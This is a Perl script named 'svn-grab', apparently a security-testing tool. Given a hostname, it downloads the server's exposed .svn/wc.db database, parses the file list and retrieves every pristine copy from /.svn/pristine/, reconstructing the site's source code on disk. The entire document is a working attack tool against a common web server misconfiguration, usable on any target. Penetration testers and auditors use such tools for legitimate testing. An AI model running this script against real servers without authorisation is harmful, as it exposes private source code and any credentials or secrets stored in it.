svn-grab

#!/usr/bin/perl

# Main Source: http://www.cirt.net/svnpristine
# Main Source: https://github.com/tautology0/ayfabtu/

# changes: v1.1: Soroush Dalili (@irsdl) - Feb. 2014 - Windows compatibility and better interface!

use LWP::UserAgent;
use DBI;
use File::Temp qw/tempfile tempdir/;

# Read roots
sub readroots
{
   my ($dbh) = @_;
   my @ROOTS;
   my $roots = $dbh->prepare("select id,local_abspath from WCROOT");
   $roots->execute;

   while (my @i = $roots->fetchrow_array())
   {
      push(@ROOTS,{'id'=>$i[0], 'path'=>$i[1]});
   }
   return @ROOTS;
}

# Read nodes
sub readnodes
{
   my ($dbh) = @_;
   my @NODES;
   my $nodes = $dbh->prepare("select wc_id, local_relpath, checksum, kind from NODES");
   $nodes->execute;

   while (my @i = $nodes->fetchrow_array())
   {
      push(@NODES,{'id'=>$i[0], 'path'=>$i[1], 'sum'=>$i[2], 'kind'=>$i[3]});
   }
   return @NODES;
}

$File::Temp::KEEP_ALL=0;

my @ROOTS;;
my @NODES;

# grab the database file

my $target=$ARGV[0];
my $iswindows=($^O=~/Win/)?1:0; # Are we running on windows?

my $windowsInvalidChars = '[\<\>\:\"\|\?\*]'; # to make it compatible with Windows
my $windowsInvalidWords = '^(CON|PRN|AUX|NUL|COM1|COM2|COM3|COM4|COM5|COM6|COM7|COM8|COM9|LPT1|LPT2|LPT3|LPT4|LPT5|LPT6|LPT7|LPT8|LPT9)(\.|$)'; # to make it compatible with Windows
my $illegalWords = '([\.]{2,}|(^[\/]+))'; # to block simple dir traversal

if ($iswindows){
	print "Windows File System Compatible = true \n";
}else{
	print "Windows File System Compatible = false \n";
}

my $svnurl="http://$ARGV[0]/.svn/wc.db";

my $ua=LWP::UserAgent->new;
$ua->agent("SVNScanner/1.1");

print "Downloading the database...\n";

my $request=HTTP::Request->new(GET => $svnurl);
my $result=$ua->request($request);

if ($result->status_line !~ /^200 .*/) {
	die "Could not get the svn database from $svnurl";
}else{
	print "svn database has been detected and downloaded from $svnurl \n";
	my $quit = 0;
	until ($quit) {
		print "Do you want to download the content? \n";
		print "Enter Y [Default] to continue OR enter anything else to exit: ";
		chomp(my $input = <STDIN>);
		
		if ($input =~ /^[Y]?$/i) {      # Match Yy or blank
			print "Downloading the content...\n";
			$quit = 1;
		}else{
			die "Exit";
		}
	}
}

my ($dbfileh, $dbfilen) = tempfile();
print "$dbfilen\n";
print $dbfileh $result->content;
close $dbfileh;

# open database
my $dbh = DBI->connect("dbi:SQLite:dbname=$dbfilen","","");

@ROOTS=readroots($dbh);
@NODES=readnodes($dbh);

# Now to read it all from pristine
# create output dir
my $server=$ARGV[0];
mkdir $server;
foreach my $node (@NODES)
{
	if ($node->{'kind'} eq "dir")
	{
		my $destDir = "$server/$node->{'local_relpath'}";
		$destDir =~ s/${illegalWords}/_/ig;
		if ($iswindows == 1){
			$destDir =~ s/${windowsInvalidChars}/_/ig;
			$destDir =~ s/${windowsInvalidWords}/_/ig;
		}
		mkdir "$destDir";
	}
	else
	{
		my $checksum=substr($node->{'sum'}, 6);
		my $twochars=substr($checksum, 0, 2);
		my $svnurl="http://$server/.svn/pristine/$twochars/$checksum.svn-base";

		my $fua=LWP::UserAgent->new;
		$fua->agent("SVNScanner/1.1");

		my @brokenup=split(/\//,$node->{'path'});
		my $pathstr="$server/";
		for (my $i=0;$i < $#brokenup; $i++)
		{
			$pathstr="$pathstr$brokenup[$i]/";
			$pathstr =~ s/${illegalWords}/_/ig;
			if ($iswindows == 1){
				$pathstr =~ s/${windowsInvalidChars}/_/ig;
				$pathstr =~ s/${windowsInvalidWords}/_/ig;
			}
			mkdir "$pathstr";
		}

		my $frequest=HTTP::Request->new(GET => $svnurl);
		my $fresult=$fua->request($frequest);
		my $filepath = "$server/$node->{'path'}";
		$filepath =~ s/${illegalWords}/_/ig;
		if ($iswindows == 1){
			$filepath =~ s/${windowsInvalidChars}/_/ig;
			$filepath =~ s/${windowsInvalidWords}/_/ig;
		}
		print "grabbing $server/$node->{'path'} from $svnurl -- will be saved in $filepath \n";
		
		
		
		open $fh,">$filepath";
		print $fh $fresult->content;
		close $fh;
	}
}